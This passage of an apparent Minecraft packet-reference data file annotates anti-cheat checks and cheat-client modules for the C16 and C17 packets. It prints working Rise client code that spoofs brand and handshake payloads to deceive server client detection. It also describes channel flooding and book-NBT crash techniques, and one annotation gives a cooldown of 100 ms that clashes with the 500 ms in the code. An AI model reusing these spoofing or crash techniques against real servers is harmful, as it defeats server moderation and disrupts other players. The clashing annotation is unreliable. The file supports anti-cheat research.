data.lastDeltaZ = Double.MAX_VALUE;\n            data.wasOpen = false;\n        }\n    }\n\n    private boolean invalidateMove(CDPlayer player, PlayerMoveC2SPacketView packet) {\n        InventoryMoveCheckData data = player.getOrCreateData(InventoryMoveCheckData.class, InventoryMoveCheckData::new);\n        if (System.currentTimeMillis() - data.openTime < 500)\n            return false;\n        if (player.getVelocity().getY() < 0.0 && packet.getY() > player.getPacketY())\n            return true;\n        double delaX = Math.abs(packet.getX() - player.getPacketX());\n        double delaZ = Math.abs(packet.getZ() - player.getPacketZ());\n        if (player.getVelocity().getX() == 0.0 && delaX > 0.0 && delaX > data.lastDeltaX)\n            return true;\n        if (player.getVelocity().getX() != 0.0) {\n            data.lastDeltaX = Double.MAX_VALUE;\n        } else {\n            data.lastDeltaX = delaX;\n        }\n        if (player.getVelocity().getZ() == 0.0 && delaZ > 0.0 && delaZ > data.lastDeltaZ)\n            return true;\n        if (player.getVelocity().getZ() != 0.0) {\n            data.lastDeltaZ = Double.MAX_VALUE;\n        } else {\n            data.lastDeltaZ = delaZ;\n        }\n        return false;\n    }\n\n    public static class InventoryMoveCheckData {\n        volatile double lastDeltaX = Double.MAX_VALUE;\n        volatile double lastDeltaZ = Double.MAX_VALUE;\n        volatile boolean wasOpen = false;\n        volatile long openTime = 0;\n    }\n\n    @Override\n    public ActionResult onPacket(CDPlayer player, Packet<ServerPlayPacketListener> packet) {\n        if (packet instanceof CloseHandledScreenC2SPacket) {\n            InventoryMoveCheckData data = player.getOrCreateData(InventoryMoveCheckData.class,\n                    InventoryMoveCheckData::new);\n            data.wasOpen = false;\n        }\n        return ActionResult.PASS;\n    }\n\n    @Override\n    public void onPlayerDamage(CDPlayer player, DamageSource source, float amount) {\n        InventoryMoveCheckData data = player.getOrCreateData(InventoryMoveCheckData.class, InventoryMoveCheckData::new);\n        data.lastDeltaX = Double.MAX_VALUE;\n        data.lastDeltaZ = Double.MAX_VALUE;\n        data.openTime = System.currentTimeMillis() + 1000;\n    }\n    \n}\n\n// NOTE (AI): CheaterDeleter runs on modern Minecraft via Fabric; the client-command listener is the modern equivalent of the C16 packet. The flag cooldown is 100 ms.",
       "code_source": "CoolMineman-CheaterDeleter, src/main/java/io/github/coolmineman/cheaterdeleter/modules/movement/InventoryMoveCheck.java",
       "variations": "AutoEye InventoryWalk flags the same behavior with a one-line condition and reverts by closing the inventory; Frequency InventoryB catches the open-command spam itself; Photon InventoryMove runs on the open state from its own tracker."
      },
      {
       "name": "Respawn state reset (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Rebuilds the simulation state when the respawn flow runs, so checks do not carry stale data across a death.",
       "how_it_works": "PacketPlayerRespawn listens to the server-side respawn, join-game and health packets that follow the client's PERFORM_RESPAWN command. On UPDATE_HEALTH with health below zero it marks the self entity dead, and on RESPAWN it forces the player to accept a teleport before movements are processed, clears positions, resets ground, sneak, sprint and known-input state, resets several badpackets checks, and clears chunk and entity caches on a dimension change. The client half of the flow is the C16 PERFORM_RESPAWN command.",
       "detects": "Not a flagging check; it prevents respawn-related desync and disablers that rely on stale check state.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerRespawn.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.checks.impl.badpackets.*;\nimport ac.grim.grimac.checks.impl.elytra.ElytraC;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.data.KnownInput;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntitySelf;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerJoinGame;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRespawn;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateHealth;\n\nimport java.util.Objects;\n\n/**\n * PlayerRespawnS2CPacket info (1.20.2+):\n * If the world is different (check via registry key), world is recreated (all entities etc destroyed).\n * <p>\n * Client player is ALWAYS recreated\n * <p>\n * If the packet has the `KEEP_TRACKED_DATA` flag:\n * Sneaking and Sprinting fields are kept on the new client player.\n * <p>\n * If the packet has the `KEEP_ATTRIBUTES` flag:\n * Attributes are kept.\n * <p>\n * New client player is initialised:\n * Pose is set to standing.\n * Velocity is set to zero.\n * Pitch is set to 0.\n * Yaw is set to -180.\n */\n// TODO update for 1.20.2-\npublic class PacketPlayerRespawn extends PacketListenerAbstract {\n\n    private static final byte KEEP_ATTRIBUTES = 1;\n    private static final byte KEEP_TRACKED_DATA = 2;\n    private static final byte KEEP_ALL = 3;\n\n    public PacketPlayerRespawn() {\n        super(PacketListenerPriority.HIGH);\n    }\n\n    private boolean hasFlag(WrapperPlayServerRespawn respawn, byte flag) {\n        // This packet was added in 1.16\n        if (flag == KEEP_ATTRIBUTES) {\n            // On versions older than 1.15, via does not keep all attributes.\n            // https://github.com/ViaVersion/ViaVersion/blob/master/common/src/main/java/com/viaversion/viaversion/protocols/v1_15_2to1_16/rewriter/EntityPacketRewriter1_16.java#L124\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_15)) {\n                return false;\n            }\n        } else if (flag == KEEP_TRACKED_DATA) {\n            // But for metadata, via DOES keep all data\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_15)) {\n                return true;\n            }\n        }\n\n        return (respawn.getKeptData() & flag) != 0;\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.UPDATE_HEALTH) {\n            WrapperPlayServerUpdateHealth health = new WrapperPlayServerUpdateHealth(event);\n\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n            //\n            if (player.packetStateData.lastFood == health.getFood()\n                    && player.packetStateData.lastHealth == health.getHealth()\n                    && player.packetStateData.lastSaturation == health.getFoodSaturation()\n                    && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9))\n                return;\n\n            player.packetStateData.lastFood = health.getFood();\n            player.packetStateData.lastHealth = health.getHealth();\n            player.packetStateData.lastSaturation = health.getFoodSaturation();\n\n            player.sendTransaction();\n\n            if (health.getFood() == 20) { // Split so transaction before packet\n                player.latencyUtils.addRealTimeTask(player.lastTransactionReceived.get(), () -> player.food = 20);\n            } else { // Split so transaction after packet\n                player.latencyUtils.addRealTimeTask(player.lastTransactionReceived.get() + 1, () -> player.food = health.getFood());\n            }\n\n            if (health.getHealth() <= 0) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    player.compensatedEntities.self.isDead = true;\n                    player.checkManager.getCheck(BadPacketsM.class).onDeath();\n                });\n            } else {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.compensatedEntities.self.isDead = false);\n            }\n\n            event.getTasksAfterSend().add(player::sendTransaction);\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.JOIN_GAME) {\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            WrapperPlayServerJoinGame joinGame = new WrapperPlayServerJoinGame(event);\n            player.gamemode = joinGame.getGameMode();\n            player.entityID = joinGame.getEntityId();\n            player.dimensionType = joinGame.getDimensionType();\n            player.worldName = joinGame.getWorldName();\n\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_15)\n                    && event.getServerVersion().isNewerThanOrEquals(ServerVersion.V_1_15)) {\n                player.packetStateData.showsDeathScreen = joinGame.isRespawnScreenEnabled();\n            }\n\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_17))\n                return;\n            player.compensatedWorld.setDimension(joinGame.getDimensionType(), event.getUser());\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.RESPAWN) {\n            WrapperPlayServerRespawn respawn = new WrapperPlayServerRespawn(event);\n\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            player.sendTransaction();\n            event.getTasksAfterSend().add(player::sendTransaction);\n\n            // Force the player to accept a teleport before respawning\n            // (We won't process movements until they accept a teleport, we won't let movements though either)\n            // Also invalidate previous positions\n            player.getSetbackTeleportUtil().hasAcceptedSpawnTeleport = false;\n            player.getSetbackTeleportUtil().lastKnownGoodPosition = null;\n\n            // clear server entity positions when the world changes\n            if (isWorldChange(player, respawn)) {\n                player.compensatedEntities.serverPositionsMap.clear();\n            }\n\n            player.addRealTimeTaskNow(player.cameraEntity::reset);\n\n            player.addRealTimeTaskNext(() -> {\n                // From 1.16 to 1.19, this doesn't get set to false for whatever reason\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_16) || player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_20)) {\n                    player.isSneaking = false;\n                }\n\n                player.lastOnGround = false;\n                player.clientClaimsLastOnGround = false;\n                player.onGround = false;\n                player.isInBed = false;\n                player.packetStateData.setSlowedByUsingItem(false);\n                player.packetStateData.packetPlayerOnGround = false; // If somewhere else pulls last ground to fix other issues\n                player.packetStateData.lastClaimedPosition = new Vector3d();\n                player.filterMojangStupidityOnMojangStupidity.zero();\n\n                player.checkManager.getCheck(BadPacketsM.class).onRespawn();\n\n                final boolean keepTrackedData = this.hasFlag(respawn, KEEP_TRACKED_DATA);\n\n                if (!keepTrackedData) {\n                    player.food = 20;\n                    player.powderSnowFrozenTicks = 0;\n                    player.compensatedEntities.self.hasGravity = true;\n                    player.playerEntityHasGravity = true;\n                    player.packetStateData.knownInput = KnownInput.DEFAULT;\n                    player.checkManager.getCheck(ElytraC.class).exempt = true;\n\n                    // 1.19.4 uses current sprinting, older versions use last sprinting\n                    if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_19_4)) {\n                        player.isSprinting = false;\n                        player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n                    } else {\n                        player.lastSprintingForSpeed = false;\n                    }\n                }\n\n                player.checkManager.getCheck(BadPacketsE.class).handleRespawn(); // Reminder ticks reset\n                player.checkManager.getCheck(BadPacketsG.class).handleRespawn();\n\n                // compensate for immediate respawn gamerule\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_15)) {\n                    player.checkManager.getCheck(BadPacketsF.class).exemptNext = true;\n                }\n\n                // EVERYTHING gets reset on a cross dimensional teleport, clear chunks and entities!\n                if (isWorldChange(player, respawn)) {\n                    player.compensatedEntities.entityMap.clear();\n                    player.compensatedWorld.activePistons.clear();\n                    player.compensatedWorld.openShulkerBoxes.clear();\n                    player.compensatedWorld.chunks.clear();\n                    player.compensatedGeysers.clear();\n                    player.compensatedWorld.isRaining = false;\n                    player.checkManager.getCheck(BadPacketsH.class).onWorldChange();\n                }\n                player.dimensionType = respawn.getDimensionType();\n                player.worldName = respawn.getWorldName().orElse(null);\n\n                player.compensatedEntities.serverPlayerVehicle = null; // All entities get removed on respawn\n                player.compensatedEntities.self = new PacketEntitySelf(player, player.compensatedEntities.self);\n                player.compensatedEntities.selfTrackedEntity = new TrackerData(0, 0, 0, 0, 0, EntityTypes.PLAYER, player.lastTransactionSent.get());\n\n                player.cameraEntity.reset();\n\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) { // 1.14+ players send a packet for this, listen for it instead\n                    player.isSprinting = false;\n                    player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n                    player.checkManager.getCheck(BadPacketsF.class).lastSprinting = false; // Pre 1.14 clients set this to false when creating new entity\n                    // TODO: What the fuck viaversion, why do you throw out keep all metadata?\n                    // The server doesn't even use it... what do we do?\n                    player.compensatedEntities.hasSprintingAttributeEnabled = false;\n                }\n                player.pose = Pose.STANDING;\n                if (!keepTrackedData || player.getClientVersion().isOlderThan(ClientVersion.V_1_21_2)) {\n                    player.clientVelocity = new Vector3dm();\n                }\n                if (!GrimAPI.INSTANCE.getSpectateManager().isSpectating(player.uuid)) {\n                    player.gamemode = respawn.getGameMode();\n                }\n                if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_17)) {\n                    player.compensatedWorld.setDimension(respawn.getDimensionType(), event.getUser());\n                }\n\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) && !this.hasFlag(respawn, KEEP_ATTRIBUTES)) {\n                    // Reset attributes if not kept\n                    player.compensatedEntities.self.resetAttributes();\n                    player.compensatedEntities.hasSprintingAttributeEnabled = false;\n                }\n            });\n        }\n    }\n\n    private boolean isWorldChange(GrimPlayer player, WrapperPlayServerRespawn respawn) {\n        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThan(ServerVersion.V_1_16)) {\n            return !Objects.equals(respawn.getWorldName().orElse(null), player.worldName);\n        }\n\n        ClientVersion version = PacketEvents.getAPI().getServerManager().getVersion().toClientVersion();\n        return respawn.getDimensionType().getId(version) != player.dimensionType.getId(version)\n                || !Objects.equals(respawn.getDimensionType().getName(), player.dimensionType.getName());\n    }\n}\n\n// NOTE (AI): The file handles the outbound respawn packets rather than the C16 packet itself; it was included because the corpus matched it on the respawn keywords and it is the state manager paired with the client command.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerRespawn.java",
       "variations": "Artemis DisablerRespawn flags premature respawn commands; NCP resets its move queue on respawn events inside the moving checks."
      },
      {
       "name": "InventoryWalk (AutoEye)",
       "found_in": [
        "heirteir-AutoEye"
       ],
       "purpose": "Flags position changes while the inventory event is active and the client should be frozen.",
       "how_it_works": "Check of type INVENTORY_EVENT: it fires when the client reports the open-inventory event. The check passes only if the player moved, lastFlying is zero, physics say the player is moving, the server velocity is zero on both horizontal axes, and less than 60 ms passed since the last move. On a pass it reverts by closing the player's inventory.",
       "detects": "Inventory walk where the player moves while the inventory screen is open.",
       "detailed_code": "// ===== FILE: heirteir-AutoEye, src/main/java/com/heirteir/autoeye/check/checks/movement/InventoryWalk.java =====\npackage com.heirteir.autoeye.check.checks.movement;\n\nimport com.heirteir.autoeye.Autoeye;\nimport com.heirteir.autoeye.check.Check;\nimport com.heirteir.autoeye.check.CheckType;\nimport com.heirteir.autoeye.player.AutoEyePlayer;\n\npublic class InventoryWalk extends Check {\n    public InventoryWalk(Autoeye autoeye) {\n        super(autoeye, CheckType.INVENTORY_EVENT, \"Inventory Walk\");\n    }\n\n    @Override public boolean check(AutoEyePlayer player) {\n        return player.getLocationData().isChangedPos() && player.getTimeData().getLastFlying().getAmount() == 0 && player.getPhysics().isMoving() && player.getPhysics().getServerVelocity().getX() == 0 && player.getPhysics().getServerVelocity().getZ() == 0 && player.getTimeData().getLastMove().getDifference() < 60L;\n    }\n\n    @Override public boolean revert(AutoEyePlayer player) {\n        player.getPlayer().closeInventory();\n        return false;\n    }\n}\n\n// NOTE (AI): AutoEye uses a revert model: the check undoes the cheat action by closing the inventory instead of cancelling the packet.",
       "code_source": "heirteir-AutoEye, src/main/java/com/heirteir/autoeye/check/checks/movement/InventoryWalk.java",
       "variations": "CheaterDeleter InventoryMoveCheck and Photon InventoryMove detect the same cheat with more tolerant timing; Frequency InventoryB catches the open-command spam that precedes it."
      }
     ]
    }
   },
   "wiki_notes": [
    "Single VarInt enum: 0 PERFORM_RESPAWN, 1 REQUEST_STATS, 2 OPEN_INVENTORY_ACHIEVEMENT; PLAY 0x16.",
    "Respawn recreates the entity only at health 0 or below, with hardcore and end-conquest special cases.",
    "Inventory-open state has no GUI check, so it can fake an open inventory for clicks while moving.",
    "MCP 1.8.9 C16PacketClientStatus implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processClientStatus; wire serde is readPacketData/writePacketData via readEnumValue.",
    "1.8.9 callers: Minecraft.? sends new C16PacketClientStatus (line 2100) +4 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/Minecraft.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C16PacketClientStatus/",
   "mcp_path": "net/minecraft/network/play/client/C16PacketClientStatus.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP",
    "Minecraft"
   ]
  },
  {
   "id": "C17PacketCustomPayload",
   "hex": "0x17",
   "dec": 23,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Custom Payload (Plugin Message)",
   "desc": "Sends a plugin channel message from client to server. Used for mod communication.",
   "tags": [
    "plugin",
    "modding",
    "channel"
   ],
   "fields": [
    {
     "name": "channel",
     "type": "String",
     "desc": "Plugin channel name (e.g. MC|BEdit, REGISTER)"
    },
    {
     "name": "data",
     "type": "PacketBuffer (remaining)",
     "desc": "Channel-specific payload"
    }
   ],
   "encoding": [
    [
     "Channel",
     "String",
     "Plugin channel identifier"
    ],
    [
     "Data Length",
     "short",
     ""
    ],
    [
     "Data",
     "byte[]",
     "Channel-specific payload"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processCustomPayload()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "Common vanilla channels: \"MC|BEdit\" (book edit), \"MC|BSign\" (book sign), \"MC|ItemName\" (anvil rename), \"MC|TrSel\" (trade select). Mods use their own channel names.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C17 is the plugin-channel transport: a channel String plus a short-length-prefixed byte payload. Vanilla channels cover brand (MC|Brand), books (MC|BEdit, MC|BSign), anvil rename (MC|ItemName), villager trades (MC|TrSel), command blocks (MC|AdvCdm) and channel registration (REGISTER). It is the most structurally open serverbound packet, since the server hands unknown channels to plugin handlers unchanged."
     },
     {
      "h": "Vanilla handling",
      "p": "processVanilla250Packet dispatches on channel: MC|BEdit and MC|BSign deserialize an ItemStack and validate its NBT (ItemWritableBook.isNBTValid / ItemEditableBook.validBookTagContents) before applying; MC|TrSel reads an int trade index against the open merchant container; MC|AdvCdm requires command blocks enabled plus permission level 2 and creative mode; MC|ItemName renames the anvil item. Unknown channels are ignored by vanilla. The client side registers MC|Brand once per connection via ClientBrandRetriever."
     },
     {
      "h": "Why clients touch it",
      "p": "Five families. (1) Brand spoofing: Rise 5.99 ClientSpoofer rewrites C17 payloads per mode, and the Rise 6.x ClientSpoofer's LabyMod mode cancels and replays six LabyMod/Intave payloads. (2) Disabler payload rewriting: Rise 6.2.4 TestDisabler overwrites every C17 payload with 'eyser'. (3) Console spam: Rise 6.x ChannelConsoleSpammer floods REGISTER. (4) Crash payloads: Rise 5.99 Crasher's BEdit and Mare modes push deeply nested book NBT over MC|BEdit; Tenacity's CrasherCommand floods a fixed C17. (5) Blink: PingSpoofComponent holds C17 in its blink tuple. The two new research clients add two more. LiquidSense Dev filters the channel stream in AntiForge (cancel non-MC| payloads and FMLProxyPacket, rewrite MC|Brand to vanilla), sends a spoofed AntiCheat channel JSON in HYTBypass, floods MC|BSign and MC|BEdit book payloads in ServerCrasher, and forces MC|Brand in MixinNetHandlerPlayClient. November Recode 2.0 has no dedicated C17 module; its LuaEventPacket wrapper maps C17 to id 0x17 for the scripting API."
     },
     {
      "h": "Exploit surface",
      "p": "The brand channel is a fingerprinting surface in both directions: servers read MC|Brand and REGISTER to identify clients, and spoofers forge them. The MC|BEdit path is the crash vector because the server deserializes a full ItemStack and validates deep NBT; the nested {extra:[{...}} page strings in Rise 5.99's BEdit mode are the same family as the C0E and C10 book crashes. REGISTER flooding abuses plugin channel registries that allocate per registration. Behavioral mismatch is the anti-cheat counter: a spoofed brand that behaves unlike the real client is itself a signal."
     }
    ],
    "overview": "The plugin-channel packet and the corpus's widest abuse surface: brand spoofing (Rise 5.99 ClientSpoofer, Rise 6.x LabyMod), payload rewriting (TestDisabler), REGISTER flooding (ChannelConsoleSpammer), book-NBT crash payloads (Rise 5.99 Crasher, Tenacity CrasherCommand) and blink-hold integration.",
    "server_handling": "processVanilla250Packet: channel dispatch with per-channel validation. MC|BEdit/MC|BSign validate book NBT and throw IOException on invalid tags; MC|AdvCdm gates on command blocks enabled, permission 2 and creative; MC|ItemName renames with a length check; MC|TrSel indexes the open ContainerMerchant. Unknown channels are ignored. The packet data is a PacketBuffer, so parsing is stateful and plugin-dependent.",
    "protocol_notes": "String channel + short data length + bytes. The REGISTER channel carries a colon-separated channel list, which is how mods announce handlers. MC|Brand is sent exactly once per connection right after login, which is why brand spoofers tell the user to rejoin. Payloads are length-prefixed shorts, so the 32KB cap applies per payload.",
    "anticheat_landscape": "Anti-cheats do not parse C17 content; anti-exploit plugins and client-detection plugins do. Client detection reads MC|Brand and REGISTER lists and compares against known client signatures, so spoofing is a cat-and-mouse over payload bytes. Book-NBT crash payloads are detected only by patched parsers. REGISTER flooding is rate-limited by anti-spam plugins.",
    "modules": [
     {
      "name": "ClientSpoofer",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Rewrite the C17 brand handshake so servers fingerprint the client as Forge, Lunar, LabyMod, PvP Lounge, CheatBreaker or Geyser.",
      "how_it_works": "On PacketSendEvent, mutates every C17 in place: sets a new payload (writeString or raw bytes) per mode, and for Lunar also rewrites the channel to REGISTER. Requires a rejoin because MC|Brand is sent once per connection.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/ClientSpoofer.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\n\n@ModuleInfo(name = \"ClientSpoofer\", description = \"Makes servers think you're on the specified client\", category = Category.OTHER)\npublic final class ClientSpoofer extends Module {\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Forge\", \"Forge\", \"Lunar\", \"LabyMod\", \"PvP Lounge\", \"CheatBreaker\", \"Geyser\");\n\n    @Override\n    protected void onEnable() {\n        this.registerNotification(\"Rejoin for \" + this.getModuleInfo().name() + \" to work.\");\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (event.getPacket() instanceof C17PacketCustomPayload) {\n            final C17PacketCustomPayload packet = (C17PacketCustomPayload) event.getPacket();\n            switch (mode.getMode()) {\n                case \"Forge\": {\n                    packet.setData(createPacketBuffer(\"FML\", true));\n                    break;\n                }\n\n                case \"Lunar\": {\n                    packet.setChannel(\"REGISTER\");\n                    packet.setData(createPacketBuffer(\"Lunar-Client\", false));\n                    break;\n                }\n\n                case \"LabyMod\": {\n                    packet.setData(createPacketBuffer(\"LMC\", true));\n                    break;\n                }\n\n                case \"PvP Lounge\": {\n                    packet.setData(createPacketBuffer(\"PLC18\", false));\n                    break;\n                }\n\n                case \"CheatBreaker\": {\n                    packet.setData(createPacketBuffer(\"CB\", true));\n                    break;\n                }\n\n                case \"Geyser\": {\n                    packet.setData(createPacketBuffer(\"Geyser\", false));\n                    break;\n                }\n            }\n        }\n    }\n\n    private PacketBuffer createPacketBuffer(final String data, final boolean string) {\n        if (string)\n            return new PacketBuffer(Unpooled.buffer()).writeString(data);\n        else\n            return new PacketBuffer(Unpooled.wrappedBuffer(data.getBytes()));\n    }\n}\n// NOTE (AI): ClientSpoofer rewrites the brand handshake on PacketSendEvent. Every outgoing C17 is mutated in place per the selected mode: Forge rewrites the payload to the FML string, Lunar changes the channel to REGISTER with a Lunar-Client payload, LabyMod/PvP Lounge/CheatBreaker/Geyser rewrite the payload with their brand strings. Note the module tells the user to rejoin: the MC|Brand packet is only sent once per connection, so a mid-session rewrite affects nothing until the next login.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/ClientSpoofer.java",
      "vanilla_hook": "onPacketSend (PacketSendEvent).",
      "anti_cheat_notes": "A spoofed brand that behaves unlike the real client (missing plugin channels, wrong packets) is the detectable mismatch; pure payload rewriting is otherwise invisible.",
      "variations": "Rise 6.x splits this into a ClientSpoofer module with per-client Modes; LabyMod is the richest of them."
     },
     {
      "name": "LabyMod (client spoofer)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Fully impersonate the LabyMod handshake: cancel the real C17 and replay six LabyMod and Intave channel payloads.",
      "how_it_works": "On PacketSendEvent, cancels the original C17 and sends MC|Brand 'labymod', REGISTER for labymod:neominecraft:intavelabymod3:main, version JSONs on labymod:neo and labymod3:main, and two minecraft:intave clientconfig messages, all via sendNoEvent. The spoofed version defaults to 4.2.31.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/clientspoofer/LabyMod.java =====\npackage com.alan.clients.module.impl.other.clientspoofer;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.other.ClientSpoofer;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.tuples.Triple;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.StringValue;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\n\nimport java.util.ArrayList;\n\npublic class LabyMod extends Mode<ClientSpoofer> {\n\n    public LabyMod(String name, ClientSpoofer parent) {\n        super(name, parent);\n    }\n\n    private final StringValue version = new StringValue(\"Spoofed Version, Latest would be preferred\",\n            this, \"4.2.31\");\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        Packet<?> packet = event.getPacket();\n\n        if (packet instanceof C17PacketCustomPayload) {\n            ArrayList<Triple<String, String, Boolean>> payloads = new ArrayList<Triple<String, String, Boolean>>() {{\n                add(new Triple<>(\"MC|Brand\", \"labymod\",true));\n                add(new Triple<>(\"REGISTER\", \"labymod:neominecraft:intavelabymod3:main\",false));\n                add(new Triple<>(\"labymod:neo\", \"{\\\"version\\\":\\\"\" + version.getValue() + \"\\\"}\",false));\n                add(new Triple<>(\"labymod3:main\", \"INFO{\\\"version\\\":\\\"\" + version.getValue() + \"\\\"}\",false));\n                add(new Triple<>(\"minecraft:intave\", \"L{\\\"legacySneakHeight\\\":false,\\\"legacyOldRange\\\":false,\\\"legacyOldSlowdown\\\":false}\",false));\n                add(new Triple<>(\"minecraft:intave\", \"\\n\" +\n                        \"clientconfigL{\\\"legacySneakHeight\\\":false,\\\"legacyOldRange\\\":false,\\\"legacyOldSlowdown\\\":false}\",false));\n            }};\n\n            event.setCancelled();\n\n            for (Triple<String, String, Boolean> payload : payloads) {\n                PacketBuffer packetbuffer = new PacketBuffer(Unpooled.buffer());\n\n                if (payload.getThird()) {\n                    packetbuffer.writeString(payload.getSecond());\n                } else {\n                    packetbuffer.writeBytes(payload.getSecond().getBytes());\n                }\n\n                C17PacketCustomPayload newPayload = new C17PacketCustomPayload(payload.getFirst(), packetbuffer);\n\n                PacketUtil.sendNoEvent(newPayload);\n            }\n        }\n    };\n}\n// NOTE (AI): LabyMod is a Mode of the Rise 6.x ClientSpoofer. On every C17 it cancels the original packet and replays six spoofed payloads via sendNoEvent: MC|Brand 'labymod', a REGISTER for the labymod channels, labymod:neo and labymod3:main version JSONs, and two minecraft:intave clientconfig messages. The version string is user-configurable and defaults to 4.2.31.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/clientspoofer/LabyMod.java",
      "vanilla_hook": "PacketSendEvent.",
      "anti_cheat_notes": "The Intave config payloads advertise legacySneakHeight/legacyOldRange/legacyOldSlowdown false, which Intave-based servers read to enable stricter checks; mis-spoofing them can backfire.",
      "variations": "Identical Mode in Rise 6.1.30."
     },
     {
      "name": "ChannelConsoleSpammer",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Flood the server with REGISTER payloads naming random MC| channels.",
      "how_it_works": "On TickEvent, sends channelsPerTick (1..100) REGISTER packets, each with a random 8-16 letter channel name, via PacketUtil.send.",
